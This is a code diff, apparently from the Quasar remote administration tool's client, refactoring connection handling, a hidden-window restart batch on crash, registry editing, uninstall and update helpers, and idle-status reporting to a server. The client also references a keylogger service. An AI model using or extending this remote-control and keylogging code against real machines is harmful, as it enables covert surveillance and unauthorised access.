/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
@ -110,13 +110,13 @@ public void Run()
}
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
InitializeMessageProcessors(ConnectClient);
_connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
InitializeMessageProcessors(_connectClient);
_userActivityDetection = new ActivityDetection(ConnectClient);
_userActivityDetection = new ActivityDetection(_connectClient);
_userActivityDetection.Start();
ConnectClient.ConnectLoop();
_connectClient.ConnectLoop();
}
}
@ -130,17 +130,26 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv
if (e.IsTerminating)
{
Debug.WriteLine(e);
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
if (string.IsNullOrEmpty(batchFile)) return;
ProcessStartInfo startInfo = new ProcessStartInfo
try
{
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
Environment.Exit(0);
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
}
catch (Exception exception)
{
Debug.WriteLine(exception);
}
finally
{
Environment.Exit(0);
}
}
}
@ -204,6 +213,7 @@ protected virtual void Dispose(bool disposing)
_keyloggerService?.Dispose();
_userActivityDetection?.Dispose();
ApplicationMutex.Dispose();
_connectClient.Dispose();
}
}
}

View File

@ -1,28 +1,19 @@
using System;
using Microsoft.Win32;
using Microsoft.Win32;
using Quasar.Client.Extensions;
using Quasar.Client.Helper;
using Quasar.Common.Models;
using System;
namespace Quasar.Client.Registry
{
public class RegistryEditor
{
#region CONSTANTS
#region RegistryKey
private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry";
private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry";
private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry";
#endregion
#region RegistryValue
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
@ -31,17 +22,12 @@ public class RegistryEditor
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
#endregion
#endregion
#region RegistryKey
/// <summary>
/// Attempts to create the desired sub key to the specified parent.
/// </summary>
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
/// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if action succeeded.</returns>
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
{
@ -96,7 +82,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str
/// </summary>
/// <param name="name">The name of the sub-key to delete.</param>
/// <param name="parentPath">The path to the parent for which to delete the sub-key on.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns>
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
{
@ -145,7 +131,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string
/// <param name="oldName">The name of the key to rename.</param>
/// <param name="newName">The name to use for renaming.</param>
/// <param name="parentPath">The path of the parent for which to rename the key.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns>
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
{
@ -189,17 +175,13 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare
}
}
#endregion
#region RegistryValue
/// <summary>
/// Attempts to create the desired value for the specified parent.
/// </summary>
/// <param name="keyPath">The path to the key for which to create the registry value on.</param>
/// <param name="kind">The type of the registry value to create.</param>
/// <param name="name">output parameter that holds the name of the registry value that was create.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns>
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
{
@ -252,7 +234,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o
/// </summary>
/// <param name="keyPath">The path to the key for which to delete the registry value on.</param>
/// /// <param name="name">The name of the registry value to delete.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns>
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
{
@ -301,7 +283,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e
/// <param name="oldName">The name of the registry value to rename.</param>
/// <param name="newName">The name to use for renaming.</param>
/// <param name="keyPath">The path of the key for which to rename the registry value.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns>
public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg)
{
@ -352,7 +334,7 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke
/// RegValueData object.</param>
/// <param name="keyPath">The path to the key for which to change the
/// value of the registry value on.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns>
public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg)
{
@ -395,8 +377,6 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s
}
#endregion
public static RegistryKey GetWritableRegistryKey(string keyPath)
{
RegistryKey key = RegistrySeeker.GetRootKey(keyPath);

View File

@ -1,42 +1,24 @@
using System;
using System.Collections.Generic;
using Microsoft.Win32;
using Microsoft.Win32;
using Quasar.Client.Extensions;
using Quasar.Client.Helper;
using Quasar.Common.Models;
using System;
using System.Collections.Generic;
namespace Quasar.Client.Registry
{
public class RegistrySeeker
{
#region Fields
/// <summary>
/// The lock used to ensure thread safety.
/// </summary>
private readonly object locker = new object();
/// <summary>
/// The list containing the matches found during the search.
/// </summary>
private List<RegSeekerMatch> matches;
private readonly List<RegSeekerMatch> _matches;
public RegSeekerMatch[] Matches
{
get
{
if (matches != null)
return matches.ToArray();
return null;
}
}
#endregion
public RegSeekerMatch[] Matches => _matches?.ToArray();
public RegistrySeeker()
{
matches = new List<RegSeekerMatch>();
_matches = new List<RegSeekerMatch>();
}
public void BeginSeeking(string rootKeyName)
@ -112,14 +94,13 @@ private void ProcessKey(RegistryKey key, string keyName)
{
AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
}
}
private void AddMatch(string key, RegValueData[] values, int subkeycount)
{
RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0};
matches.Add(match);
_matches.Add(match);
}
public static RegistryKey GetRootKey(string subkeyFullPath)

View File

@ -1,6 +1,5 @@
using Quasar.Client.Config;
using Quasar.Client.IO;
using System;
using System.Diagnostics;
using System.Windows.Forms;
@ -18,9 +17,6 @@ public void Uninstall()
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
if (string.IsNullOrEmpty(batchFile))
throw new Exception("Could not create uninstall-batch file.");
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,

View File

@ -20,9 +20,6 @@ public void Update(string newFilePath)
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
if (string.IsNullOrEmpty(batchFile))
throw new Exception("Could not create update batch file.");
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,

View File

@ -7,16 +7,35 @@
namespace Quasar.Client.User
{
/// <summary>
/// Provides user activity detection and sends <see cref="SetUserStatus"/> messages on change.
/// </summary>
public class ActivityDetection : IDisposable
{
public UserStatus LastUserStatus { get; private set; }
/// <summary>
/// Stores the last user status to detect changes.
/// </summary>
private UserStatus _lastUserStatus;
/// <summary>
/// The client to use for communication with the server.
/// </summary>
private readonly QuasarClient _client;
/// <summary>
/// Create a <see cref="_token"/> and signals cancellation.
/// </summary>
private readonly CancellationTokenSource _tokenSource;
/// <summary>
/// The token to check for cancellation.
/// </summary>
private readonly CancellationToken _token;
/// <summary>
/// Initializes a new instance of <see cref="ActivityDetection"/> using the given client.
/// </summary>
/// <param name="client">The name of the mutex.</param>
public ActivityDetection(QuasarClient client)
{
_client = client;
@ -29,44 +48,47 @@ private void OnClientStateChange(Networking.Client s, bool connected)
{
// reset user status
if (connected)
LastUserStatus = UserStatus.Active;
_lastUserStatus = UserStatus.Active;
}
/// <summary>
/// Starts the user activity detection.
/// </summary>
public void Start()
{
new Thread(UserIdleThread).Start();
new Thread(UserActivityThread).Start();
}
public void Dispose()
/// <summary>
/// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
/// </summary>
private void UserActivityThread()
{
_client.ClientState -= OnClientStateChange;
_tokenSource.Cancel();
_tokenSource.Dispose();
}
private void UserIdleThread()
{
while (!_token.WaitHandle.WaitOne(1000))
while (!_token.WaitHandle.WaitOne(10))
{
if (IsUserIdle())
{
if (LastUserStatus != UserStatus.Idle)
if (_lastUserStatus != UserStatus.Idle)
{
LastUserStatus = UserStatus.Idle;
_client.Send(new SetUserStatus {Message = LastUserStatus});
_lastUserStatus = UserStatus.Idle;
_client.Send(new SetUserStatus {Message = _lastUserStatus});
}
}
else
{
if (LastUserStatus != UserStatus.Active)
if (_lastUserStatus != UserStatus.Active)
{
LastUserStatus = UserStatus.Active;
_client.Send(new SetUserStatus {Message = LastUserStatus});
_lastUserStatus = UserStatus.Active;
_client.Send(new SetUserStatus {Message = _lastUserStatus});
}
}
}
}
/// <summary>
/// Determines whether the user is idle if the last user input was more than 10 minutes ago.
/// </summary>
/// <returns><c>True</c> if the user is idle, else <c>false</c>.</returns>
private bool IsUserIdle()
{
var ticks = Environment.TickCount;
@ -77,5 +99,24 @@ private bool IsUserIdle()
return (idleTime > 600); // idle for 10 minutes
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this activity detection service.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_client.ClientState -= OnClientStateChange;
_tokenSource.Cancel();
_tokenSource.Dispose();
}
}
}
}